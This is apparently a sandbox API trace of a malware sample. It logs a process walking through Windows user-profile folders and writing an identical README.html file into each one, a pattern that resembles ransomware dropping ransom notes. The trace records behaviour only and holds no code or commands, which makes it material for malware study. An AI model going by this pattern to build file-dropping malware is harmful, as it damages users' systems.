	[0082.660] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Pictures" (normalized: "c:\\users\\default\\pictures"), fInfoLevelId=0x0, lpFileInformation=0x123fdb38 | out: lpFileInformation=0x123fdb38*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.661] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures" (normalized: "c:\\users\\default\\pictures"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.661] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Pictures\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.661] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.661] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.661] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.661] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.661] CreateFileW (lpFileName="C:\\Users\\Default\\Pictures\\README.html" (normalized: "c:\\users\\default\\pictures\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.662] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.662] WriteFile (in: hFile=0xc0, lpBuffer=0x123e6000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x123e6000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.663] CloseHandle (hObject=0xc0) returned 1
	[0082.663] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12412770*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12412770*, lpNumberOfCharsWritten=0x127ee914*=0x34) returned 1
	[0082.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Pictures\\desktop.ini" (normalized: "c:\\users\\default\\pictures\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fdbd8 | out: lpFileInformation=0x123fdbd8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1
	[0082.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\PrintHood" (normalized: "c:\\users\\default\\printhood"), fInfoLevelId=0x0, lpFileInformation=0x123fdc28 | out: lpFileInformation=0x123fdc28*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.664] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Recent" (normalized: "c:\\users\\default\\recent"), fInfoLevelId=0x0, lpFileInformation=0x123fdc78 | out: lpFileInformation=0x123fdc78*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.665] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Saved Games" (normalized: "c:\\users\\default\\saved games"), fInfoLevelId=0x0, lpFileInformation=0x123fdcc8 | out: lpFileInformation=0x123fdcc8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.667] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games" (normalized: "c:\\users\\default\\saved games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.667] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.668] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.668] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.668] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.668] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.668] CreateFileW (lpFileName="C:\\Users\\Default\\Saved Games\\README.html" (normalized: "c:\\users\\default\\saved games\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.668] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.668] WriteFile (in: hFile=0xc0, lpBuffer=0x123e6c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x123e6c80*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.669] CloseHandle (hObject=0xc0) returned 1
	[0082.669] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x124127e0*, nNumberOfCharsToWrite=0x37, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x124127e0*, lpNumberOfCharsWritten=0x127ee914*=0x37) returned 1
	[0082.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Saved Games\\desktop.ini" (normalized: "c:\\users\\default\\saved games\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fdd68 | out: lpFileInformation=0x123fdd68*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0082.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches" (normalized: "c:\\users\\default\\searches"), fInfoLevelId=0x0, lpFileInformation=0x123fddb8 | out: lpFileInformation=0x123fddb8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.671] CreateFileW (lpFileName="C:\\Users\\Default\\Searches" (normalized: "c:\\users\\default\\searches"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.671] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Searches\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.672] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.672] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.672] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
	[0082.672] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
	[0082.672] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.672] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.673] CreateFileW (lpFileName="C:\\Users\\Default\\Searches\\README.html" (normalized: "c:\\users\\default\\searches\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.675] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.675] WriteFile (in: hFile=0xc0, lpBuffer=0x123e7900*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x123e7900*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.676] CloseHandle (hObject=0xc0) returned 1
	[0082.676] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x124128c0*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x124128c0*, lpNumberOfCharsWritten=0x127ee914*=0x34) returned 1
	[0082.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\default\\searches\\everywhere.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fdef8 | out: lpFileInformation=0x123fdef8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1
	[0082.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\default\\searches\\indexed locations.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fdf48 | out: lpFileInformation=0x123fdf48*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1
	[0082.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Searches\\desktop.ini" (normalized: "c:\\users\\default\\searches\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fdf98 | out: lpFileInformation=0x123fdf98*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x20c)) returned 1
	[0082.677] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\SendTo" (normalized: "c:\\users\\default\\sendto"), fInfoLevelId=0x0, lpFileInformation=0x127e2008 | out: lpFileInformation=0x127e2008*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Start Menu" (normalized: "c:\\users\\default\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x127e2058 | out: lpFileInformation=0x127e2058*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Templates" (normalized: "c:\\users\\default\\templates"), fInfoLevelId=0x0, lpFileInformation=0x127e20a8 | out: lpFileInformation=0x127e20a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.678] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Videos" (normalized: "c:\\users\\default\\videos"), fInfoLevelId=0x0, lpFileInformation=0x127e20f8 | out: lpFileInformation=0x127e20f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.678] CreateFileW (lpFileName="C:\\Users\\Default\\Videos" (normalized: "c:\\users\\default\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.678] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Videos\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.679] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.679] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.679] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.679] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.679] CreateFileW (lpFileName="C:\\Users\\Default\\Videos\\README.html" (normalized: "c:\\users\\default\\videos\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.679] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.679] WriteFile (in: hFile=0xc0, lpBuffer=0x123e8580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x123e8580*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.680] CloseHandle (hObject=0xc0) returned 1
	[0082.681] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x124129a0*, nNumberOfCharsToWrite=0x32, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x124129a0*, lpNumberOfCharsWritten=0x127ee914*=0x32) returned 1
	[0082.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\Videos\\desktop.ini" (normalized: "c:\\users\\default\\videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2198 | out: lpFileInformation=0x127e2198*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8)) returned 1
	[0082.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e21e8 | out: lpFileInformation=0x127e21e8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14)) returned 1
	[0082.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default User" (normalized: "c:\\users\\default user"), fInfoLevelId=0x0, lpFileInformation=0x127e2238 | out: lpFileInformation=0x127e2238*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.682] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public"), fInfoLevelId=0x0, lpFileInformation=0x127e2288 | out: lpFileInformation=0x127e2288*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0082.682] CreateFileW (lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.682] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*", lpFindFileData=0x127ef9e0 | out: lpFindFileData=0x127ef9e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
